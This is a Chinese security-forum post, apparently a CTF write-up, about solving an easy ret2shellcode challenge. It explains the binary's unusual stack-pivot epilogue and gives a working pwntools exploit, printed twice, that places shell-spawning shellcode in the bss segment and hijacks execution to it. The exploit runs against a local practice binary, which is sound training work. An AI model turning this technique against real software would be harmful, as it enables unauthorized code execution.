-
-
[原创]记一道简单难度ret2shellcode中遇到的坑
-
发表于:
2020-10-11 21:36
9431
-
[原创]记一道简单难度ret2shellcode中遇到的坑
这道题目是大师傅为新生赛出的,有幸拿来做了一下,发现了很多以前没有注意到的问题,特别在这里记录下来
题目是将用户输入使用strncpy函数拷贝到位于bss段的buf2中,考虑使用shellcraft生成shellcode并跳转执行,然而在仔细阅读汇编代码后发现了问题
函数主体部分如上图所示,主要关注main函数执行完毕后返回的的部分,如图中框选部分所示。var_4的值为-4,框选部分的代码逻辑是将ebp-4地址中的内容赋值给ecx寄存器,使用leave还原ebp和esp状态,将ecx-4这个值赋值给esp,使用retn将esp所指向地址中保存的数据弹出给eip。平常的函数返回时将返回地址记录在ebp+4的位置,而此处main函数返回的流程如上所述【还不完全明白为什么,求大佬讲解orz】
思路很明显,即将shellcode通过strncpy函数拷贝进bss段并利用红框中的跳转思路构造payload将shellcode的地址弹给eip即可
先上最终的exp
在此用图解的方式讲解会比较形象,在刚发送payload后,栈与buf2中的内容如下图所示
将要准备执行retn之前,栈与buf2中的内容如下图所示
执行完retn后,栈与buf2中的内容如下图所示,此时程序的执行流已经被劫持,紧接着将执行我们的shellcode,即可getshell
from
pwn
import
*
context.arch
=
"i386"
context.terminal
=
'/bin/bash'
io
=
process(
"./ret2shellcode.ret2shellcode"
)
shellcode
=
asm(shellcraft.sh())
addr
=
0x080F0A04
payload
=
flat(addr,shellcode,cyclic(
104
-
48
),addr)
io.sendlineafter(
'system!!!'
,payload)
io.interactive()
from
pwn
import
*
context.arch
=
"i386"
context.terminal
=
'/bin/bash'
io
=
process(
"./ret2shellcode.ret2shellcode"
)
shellcode
=
asm(shellcraft.sh())
addr
=
0x080F0A04
payload
=
flat(addr,shellcode,cyclic(
104
-
48
),addr)
io.sendlineafter(
'system!!!'
,payload)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2020-10-12 22:50
被1TreeForest编辑
,原因: